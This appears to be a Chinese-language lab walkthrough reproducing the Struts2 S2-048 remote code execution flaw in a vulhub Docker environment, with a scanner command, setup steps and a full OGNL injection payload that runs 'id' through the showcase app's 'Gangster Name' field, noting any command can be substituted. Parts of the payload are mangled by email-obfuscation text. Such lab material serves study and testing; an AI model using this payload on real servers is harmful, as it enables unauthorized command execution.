struts2反序列化漏洞

Struts2是一个基于MVC设计模式(java)的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

实验环境:vulhub中的struts

实验步骤:

可利用struts2扫描工具扫描是否有该漏洞,输入python3 Struts2Scan.py -u http://192.168.1.103:8080/index.action进行扫描

struts2反序列化漏洞

漏洞复现

1.在ubuntu中进入vulhub-master/struts2/s2-048目录,并输入docker-compose up -d启动环境

struts2反序列化漏洞struts2反序列化漏洞

2.访问http://192.168.1.103:8080/showcase/管理界面,ip为ubuntu的IP

struts2反序列化漏洞

3.选择ntegration/Struts 1 Integration,即为漏洞界面

struts2反序列化漏洞

4.在Gangster Name输入代码即可执行

例:输入:%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@[email protected]().exec('id').getInputStream())).(#q)}

可查看其id,当然也可将id处填写其他任意代码执行

struts2反序列化漏洞